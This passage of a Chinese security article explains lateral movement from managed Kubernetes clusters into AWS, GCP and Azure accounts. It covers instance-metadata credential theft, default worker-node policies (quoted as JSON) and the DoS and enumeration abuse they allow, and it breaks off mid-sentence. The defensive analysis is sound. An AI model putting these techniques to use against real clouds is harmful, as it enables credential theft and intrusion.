<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">上一篇文章介绍了在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p>横向移动，在这一篇将分析 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 和云域之间横向移动的潜在攻击向量，并检查它们在主要云厂商之间的差异。最后，给出一些最佳实践来帮助企业减少或防止关键的横向流动风险。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">被忽视的风险</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">尽管有不少案例记录，威胁组织（如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TeamTNT</p>）使用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 逃逸并从实例元数据服务端点获取访问令牌，但许多黑客并不熟悉从 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 到云的横向移动技术。传统方法都是单独针对 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 或云域，但从不考虑它们之间的关系。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">例如，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Wiz</p> 研究团队调查了大量使用托管 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 集群的云环境，发现大约 40% 的环境至少有一个这样的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>，在它的容器映像存储着和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p>云身份相关的明文长期密钥。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.562037037037037" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f04e8a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBCjMxVSQqpHo31JrrSQK8MV36Vc5SKnYHiawzavGjwfic943r8bVLRTNw%2F640%3Fwx_fmt%3Dother"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">Kubernetes 到云的黑客 TTP</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">从托管 Kubernetes 集群向云的横向移动攻击，黑客使用多种技术， 包括实例元数据服务、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p> 身份、长期云密钥和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 逃逸。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5611111111111111" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7da5cc13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqB0viaEmgI8rBFVe14ucQkwngzhZPokxUptXkSJbUlVZcHtBcsJfma8oQ%2F640%3Fwx_fmt%3Dother"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">1.实例元数据服务（IMDS）</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">托管 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 服务为集群中的每个工作节点分配预定义的角色、服务帐户或身份，并具有必要的权限，使 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubelet</p> 守护进程能够调用 云厂商 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p> 来执行与集群稳定性相关的管理任务（例如自动缩放). 因此，工作节点可以查询 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p> 端点获取实例元数据，这个元数据通常在 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IPv4</p> 本地链路地址 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">169.254.169.254</p>， 来确定预定义的身份。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">因此，黑客入侵了托管 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 集群中公开的容器， 通常会查询 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p> 端点, 获取工作节点的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p> 身份凭证，并利用它们访问集群外的云资源，例如存储桶和数据库。然而，此类攻击的渗透半径取决于每个云厂商中角色的配置：</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EKS</p></div></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">亚马逊云 需要将多个内置托管策略赋予到 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EKS</p> 集群中工作节点的角色。这三个策略是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AmazonEKSWorkerNodePolicy</p>, <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AmazonEC2ContainerRegistryReadOnly</p>, 和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AmazonEKS_CNI_Policyor</p>或自定<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IPv6</p>。每个策略关联的默认权限会有单独的攻击向量。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AmazonEKSWorkerNodePolicy</p>：允许工作节点描述节点加入集群所需的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EC2</p> 资源。黑客可以列出帐户中的所有 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EC2</p> 实例并获取敏感数据（如安全组、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AMI</p>、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IP </p>地址、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 和任何关联的子网或路由表）, 并滥用该信息来映射整个云网络。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"># AmazonEKSWorkerNodePolicy{    <span style="color: #9CDCFE;line-height: 26px;">&#34;Version&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;2012-10-17&#34;</span>,    <span style="color: #9CDCFE;line-height: 26px;">&#34;Statement&#34;</span>: [        {            <span style="color: #9CDCFE;line-height: 26px;">&#34;Effect&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Allow&#34;</span>,            <span style="color: #9CDCFE;line-height: 26px;">&#34;Action&#34;</span>: [                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeInstances&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeInstanceTypes&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeRouteTables&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeSecurityGroups&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeSubnets&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeVolumes&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeVolumesModifications&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeVpcs&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;eks:DescribeCluster&#34;</span>            ],            <span style="color: #9CDCFE;line-height: 26px;">&#34;Resource&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;*&#34;</span>        }    ]}</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AmazonEC2ContainerRegistryReadOnly</p>：允许工作节点对容器注册表进行完全读取访问，来进行镜像拉取。黑客可以利用它来枚举容器注册表及其中镜像，这些镜像可能包含云密钥和密码等敏感信息。此外，他们可以调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ecr:DescribeImageScanFindings</p>接口来识别镜像的关键漏洞。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"># AmazonEC2ContainerRegistryReadOnly{    <span style="color: #9CDCFE;line-height: 26px;">&#34;Version&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;2012-10-17&#34;</span>,    <span style="color: #9CDCFE;line-height: 26px;">&#34;Statement&#34;</span>: [        {            <span style="color: #9CDCFE;line-height: 26px;">&#34;Effect&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Allow&#34;</span>,            <span style="color: #9CDCFE;line-height: 26px;">&#34;Action&#34;</span>: [                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:GetAuthorizationToken&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:BatchCheckLayerAvailability&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:GetDownloadUrlForLayer&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:GetRepositoryPolicy&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:DescribeRepositories&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:ListImages&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:DescribeImages&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:BatchGetImage&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:GetLifecyclePolicy&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:GetLifecyclePolicyPreview&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:ListTagsForResource&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ecr:DescribeImageScanFindings&#34;</span>            ],            <span style="color: #9CDCFE;line-height: 26px;">&#34;Resource&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;*&#34;</span>        }    ]}</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AmazonEKS_CNI_Policy</p>：允许<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);"> VPC CNI</p> ( amazon-vpc-cni-k8s) 及其修改工作节点 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IP</p> 地址配置的权限。黑客可以利用该策略列出活动的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EC2</p> 实例并删除它们的网络接口，从而导致该帐户的集群和实例的 DoS 攻击。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"># AmazonEKS_CNI_Policy{    <span style="color: #9CDCFE;line-height: 26px;">&#34;Version&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;2012-10-17&#34;</span>,    <span style="color: #9CDCFE;line-height: 26px;">&#34;Statement&#34;</span>: [        {            <span style="color: #9CDCFE;line-height: 26px;">&#34;Effect&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Allow&#34;</span>,            <span style="color: #9CDCFE;line-height: 26px;">&#34;Action&#34;</span>: [                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:AssignPrivateIpAddresses&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:AttachNetworkInterface&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:CreateNetworkInterface&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DeleteNetworkInterface&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeInstances&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeTags&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeNetworkInterfaces&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DescribeInstanceTypes&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:DetachNetworkInterface&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:ModifyNetworkInterfaceAttribute&#34;</span>,                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:UnassignPrivateIpAddresses&#34;</span>            ],            <span style="color: #9CDCFE;line-height: 26px;">&#34;Resource&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;*&#34;</span>        },        {            <span style="color: #9CDCFE;line-height: 26px;">&#34;Effect&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Allow&#34;</span>,            <span style="color: #9CDCFE;line-height: 26px;">&#34;Action&#34;</span>: [                <span style="color: #D69D85;line-height: 26px;">&#34;ec2:CreateTags&#34;</span>            ],            <span style="color: #9CDCFE;line-height: 26px;">&#34;Resource&#34;</span>: [                <span style="color: #D69D85;line-height: 26px;">&#34;arn:aws:ec2:*:*:network-interface/*&#34;</span>            ]        }    ]}</p></pre><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GKE</p></div></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">谷歌云会自动将计算引擎默认服务帐户赋予到新的工作节点，该帐户具有过于宽松的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 基本编辑角色。黑客可以利用此角色访问项目中的密钥、操纵服务帐户，甚至删除运行集群的计算实例。</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">AKS</p></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">部署 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AKS</p> 群集时，管理入口负载均衡器和文件 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CSI</p> 驱动程序等群集资源的提供程序管理标识会自动添加到群集的控制平面。用户或 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 不能使用此身份。另一方面，工作节点的虚拟机规模集 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VMSS</p>) 可以接受两个身份：系统分配身份和用户分配身份，名为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">&lt;AKS Cluster Name&gt;-agentpool</p>。前者默认禁用，后者启用但不具有任何作用。因此，即使黑客可以在集群中驻留，查询 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p> 端点，并采用节点的用户分配托管身份，他们也不会有任何权限。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而，这些限制取决于用户选择的配置。例如，在 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VMSS</p> 上启用系统分配身份并授予其权限将允许黑客采用该身份并使用其特权访问云资源。或者，如果用户将角色分配给节点的用户管理身份，则知道身份 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ID</p> 的黑客可以采用该身份并渗透云资源。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">2. Pod 的 IAM/AAD 身份</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">为了减轻横向移动的风险，三大云厂商提供一种替代方案，分配<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p> 身份给 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s pod</p> 服务帐户,而不是给<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p>端点。此功能反映了最小权限原则，因为它限制了对云资源的非必要 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, 